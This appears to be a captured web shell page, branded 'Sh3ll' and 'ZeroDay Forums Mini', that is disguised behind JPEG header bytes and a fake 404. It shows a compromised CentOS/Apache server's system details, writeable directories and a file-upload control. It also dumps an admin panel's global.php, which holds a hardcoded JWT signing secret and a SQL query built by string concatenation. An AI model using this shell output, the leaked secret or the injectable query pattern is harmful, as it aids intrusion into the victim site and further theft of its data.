ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/code/global.php
<?php
$fmt = new NumberFormatter( 'vi_VN', NumberFormatter::CURRENCY );
$query_lang = $DB->query(" SELECT language_key,language_vi,language_en FROM tb_language ");
$v_lang = 'vi';
if(isset($_SESSION['lang']) and $_SESSION['lang']!=''){
    $v_lang = $_SESSION['lang'];
}
$lang = array();
while ($row_lang = $DB->fetch_row($query_lang)){
    if($v_lang=='en'){
        $lang[$row_lang['language_key']] = $row_lang['language_en'];
    }else{
        $lang[$row_lang['language_key']] = $row_lang['language_vi'];
    }
}

$ob_user =  new stdClass();
if(isset($_SESSION['token']) and $_SESSION['token']!=''){
    $ob_user = JWT::decode($_SESSION['token'], 'NHG#789-2017', array('HS256'));
    $v_company_id = $ob_user->company_id;
    $row_user_check = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='".$ob_user->user_id."' "));
    if($row_user_check['user_image']!='' and file_exists(ROOT_PATH.'upload/user/'.$row_user_check['user_image'])
    ) {
        $txt_file_default = 'upload/user/' . $row_user_check['user_image'];
    }else{
        $txt_file_default = $ob_user->user_image;
    }
}
$act = isset($CORE->input['act']) ? $CORE->input['act'] : 'home';
switch ($act){
    //no required login
    case 'login':
        include 'login/index.php';
        break;
    case 'changepass':
        include 'login/changepass.php';
        break;
    case 'logout':
        include 'login/logout.php';
        break;
    case 'logout_ajax':
        include 'login/logout_ajax.php';
        break;

    //required login
    case 'checkmap':
        include 'checkmap/index.php';
        break;
    case 'kqxs':
        include 'kqxs/index.php';
        break;
    case 'tracuuso':
        include 'tracuuso/index.php';
        break;
    case 'spintext':
        include 'spintext/index.php';
        break;


    case 'user':
        include 'user/index.php';
        break;
    case 'manager':
        include 'manager/index.php';
        break;
    case 'management':
        include 'management/index.php';
        break;
    case 'update':
        include 'update/index.php';
        break;
    case 'research':
        include 'research/index.php';
        break;
    case 'report':
        include 'report/index.php';
        break;
    default:
        include 'home/index.php';
        break;
}
?>

ZeroDay Forums Mini